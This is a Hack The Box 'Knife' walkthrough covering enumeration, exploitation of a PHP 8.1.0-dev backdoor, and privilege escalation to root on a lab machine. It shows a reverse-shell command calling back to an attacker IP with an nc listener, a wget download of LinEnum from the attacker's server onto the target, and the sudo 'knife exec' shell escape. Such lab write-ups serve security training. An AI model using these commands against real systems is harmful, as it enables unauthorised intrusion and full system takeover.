

# KNIFE HTB WALKTHROUGH

## Enumeration

##NMAP###

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

###AFTER NIKTO SCAN WE GOT TO KNOW PHP 8.0.1 DEV IS RUNNING AND IT IS VULNARABLE###

## Gobuster

```
└─(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.242 -w /usr/share/wordlists/dirb/common.txt
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://10.10.10.242
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
=====
2022/01/14 00:09:00 Starting gobuster in directory enumeration mode
=====
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 5815]
/server-status (Status: 403) [Size: 277]
=====
2022/01/14 00:11:25 Finished
=====
```

## Nikto

Starting nikto scan

- Nikto v2.1.6

+ Target IP: 10.10.10.242

+ Target Hostname: 10.10.10.242  
+ Target Port: 80  
+ Start Time: 2022-01-14 00:25:30 (GMT-5)

-----  
+ Server: Apache/2.4.41 (Ubuntu)  
+ Retrieved x-powered-by header: PHP/8.1.0-dev  
+ The anti-clickjacking X-Frame-Options header is not present.  
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS  
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type  
+ No CGI Directories found (use '-C all' to force check all possible dirs)  
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

## Exploit

##EXPLOIT LINK###

<https://www.exploit-db.com/exploits/49933>

#EXPLOIT##

└─(kali㉿kali)-[~/HTB/Knife]

└─\$ python3

exploit.py

Enter the full host url:

http://10.10.10.242

Interactive shell is opened on http://10.10.10.242

Can't access tty; job control turned off.

\$ id

uid=1000(james) gid=1000(james) groups=1000(james)

\$ whoami

james

#WE GOT THE SHELL BUT THIS IS NON INTERACTIVE SO I FOUND A REVERSE SHELL SCRIPT WHICH WORKED PERFECTLY##

[https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/main/revshell\\_php\\_8.1.0-dev.py](https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/main/revshell_php_8.1.0-dev.py)

#1ST TERMINAL##

└─(kali㉿kali)-[~/HTB/Knife]

└─\$ python3 php\ 8.1.0\ rev\ shell.py <http://10.10.10.242> 10.10.14.2 4545

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##2ND TERMINAL##

└─(kali㉿kali)-[~]

└─\$ nc -lvnp 4545

listening on [any] 4545 ...

connect to [10.10.14.2] from (UNKNOWN) [10.10.10.242] 37154

```

bash: cannot set terminal process group (956): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$
james@knife:/$ whoami
whoami
james
james@knife:/$ cd /home/james
cd /home/james
james@knife:~$ ls
ls
user.txt
james@knife:~$ cat user.txt
cat user.txt
86f7e66b1124face.....
james@knife:~$

```

## Post Enum

# FOR POST ENUMERATION PROCESS I TRANSFERED LinEnum INTO TARGET SYSTEM###

```

└─(kali@kali)-[/opt/Post_Enum/LinEnum]
└─$ python -m SimpleHTTPServer 9000
Serving HTTP on 0.0.0.0 port 9000 ...
10.10.10.242 - - [14/Jan/2022 00:54:34] "GET /LinEnum.sh HTTP/1.1" 200 -

```

#TARGET SYSTEM###

```

james@knife:/tmp$ python -c import pty;pty.spawn("bin/bash")
python -c import pty;pty.spawn("bin/bash")
bash: syntax error near unexpected token `bin/bash'
james@knife:/tmp$ wget http://10.10.14.2:9001/LinEnum.sh
wget http://10.10.14.2:9001/LinEnum.sh
--2022-01-14 06:25:49-- http://10.10.14.2:9001/LinEnum.sh
Connecting to 10.10.14.2:9001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

```

```

  OK ..... 100% 65.5K=0.7s

```

2022-01-14 06:25:50 (65.5 KB/s) - 'LinEnum.sh' saved [46631/46631]

```

james@knife:/tmp$

```

#FOR EASY WIN FIRSTLY I TRIED GTFOBINS###

[.. /](#) knife

- [Shell](#)

- [Sudo](#)

This is capable of running [ruby](#) code.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

◇ knife exec -E 'exec "/bin/sh"'

## Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

◇ sudo knife exec -E 'exec "/bin/sh"'

### GOT SOME HINTS I TRIED ###

```
james@knife:/tmp$ sudo knife exec -E 'exec "/bin/sh"'
```

```
sudo knife exec -E 'exec "/bin/sh"'
```

```
id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
## WE GOT THE ROOT ###
```

```
cd root
```

```
ls
```

```
delete.sh
```

```
root.txt
```

```
snap
```

```
cat root.txt
```

```
807b90221378.....
```